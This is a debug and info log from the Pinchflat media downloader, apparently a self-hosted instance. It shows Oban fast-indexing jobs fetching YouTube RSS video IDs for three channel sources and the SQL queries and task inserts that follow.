{"args":{"id":1},"id":502,"meta":{},"system_time":1784858447635300023,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:00:47.635 [info] {"args":{"id":2},"id":503,"meta":{},"system_time":1784858447635329084,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:00:47.635 [debug] QUERY OK source="sources" db=0.1ms idle=1574.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:00:47.635 [debug] QUERY OK source="sources" db=0.1ms idle=1008.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:00:47.635 [debug] QUERY OK source="settings" db=0.1ms idle=574.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.635 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.635 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:00:47.636 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:00:47.636 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.636 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 02:00:47.636 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.636 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:00:47.921 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:00:47.922 [debug] QUERY OK source="media_items" db=0.2ms idle=285.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:00:47.922 [debug] QUERY OK source="media_items" db=0.2ms idle=286.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:00:47.923 [debug] QUERY OK source="tasks" db=0.0ms idle=286.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [506, 2, ~U[2026-07-24 02:00:47Z], ~U[2026-07-24 02:00:47Z]] 02:00:47.923 [info] {"args":{"id":2},"id":503,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":287893,"event":"job:stop","queue_time":338491,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:00:47.991 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:00:47.992 [debug] QUERY OK source="media_items" db=0.3ms idle=69.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:00:47.997 [debug] QUERY OK source="media_items" db=4.2ms idle=69.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:00:47.997 [debug] QUERY OK source="tasks" db=0.0ms idle=68.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [507, 1, ~U[2026-07-24 02:00:47Z], ~U[2026-07-24 02:00:47Z]] 02:00:47.998 [info] {"args":{"id":1},"id":502,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":362643,"event":"job:stop","queue_time":499749,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:00:55.247 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.852 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:25.248 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:55.250 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.852 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:25.251 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:55.253 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.854 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:25.255 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:55.256 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.854 [info] {"source":"oban","duration":124,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:25.257 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:55.258 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.856 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:02.922 [info] {"args":{"id":3},"id":504,"meta":{},"system_time":1784858702922304763,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:05:02.922 [debug] QUERY OK source="sources" db=0.1ms idle=1861.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:05:02.922 [debug] QUERY OK source="settings" db=0.0ms idle=1008.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:02.923 [debug] QUERY OK source="media_profiles" db=0.0ms idle=862.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:05:02.923 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:05:02.923 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:05:03.047 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:05:03.047 [debug] QUERY OK source="media_items" db=0.2ms idle=125.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:05:03.049 [debug] QUERY OK source="media_items" db=1.8ms idle=125.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:05:03.050 [debug] QUERY OK source="tasks" db=0.0ms idle=127.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [508, 3, ~U[2026-07-24 02:05:03Z], ~U[2026-07-24 02:05:03Z]] 02:05:03.050 [info] {"args":{"id":3},"id":504,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128196,"event":"job:stop","queue_time":521772,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:05:25.259 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:55.260 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.857 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:25.261 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:55.262 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.858 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:25.263 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:55.264 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.859 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:25.265 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:55.266 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.860 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:25.267 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:55.268 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.861 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:25.269 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:48.306 [info] {"args":{"id":2},"id":506,"meta":{},"system_time":1784859048306408143,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:10:48.306 [info] {"args":{"id":1},"id":507,"meta":{},"system_time":1784859048306434017,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:10:48.306 [debug] QUERY OK source="sources" db=0.2ms idle=1245.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:10:48.306 [debug] QUERY OK source="sources" db=0.3ms idle=1245.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:10:48.307 [debug] QUERY OK source="settings" db=0.1ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:48.307 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:48.307 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:10:48.307 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:10:48.307 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:48.307 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:10:48.307 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:48.307 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 02:10:48.427 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:10:48.427 [debug] QUERY OK source="media_items" db=0.1ms idle=120.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:10:48.428 [debug] QUERY OK source="media_items" db=0.3ms idle=120.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 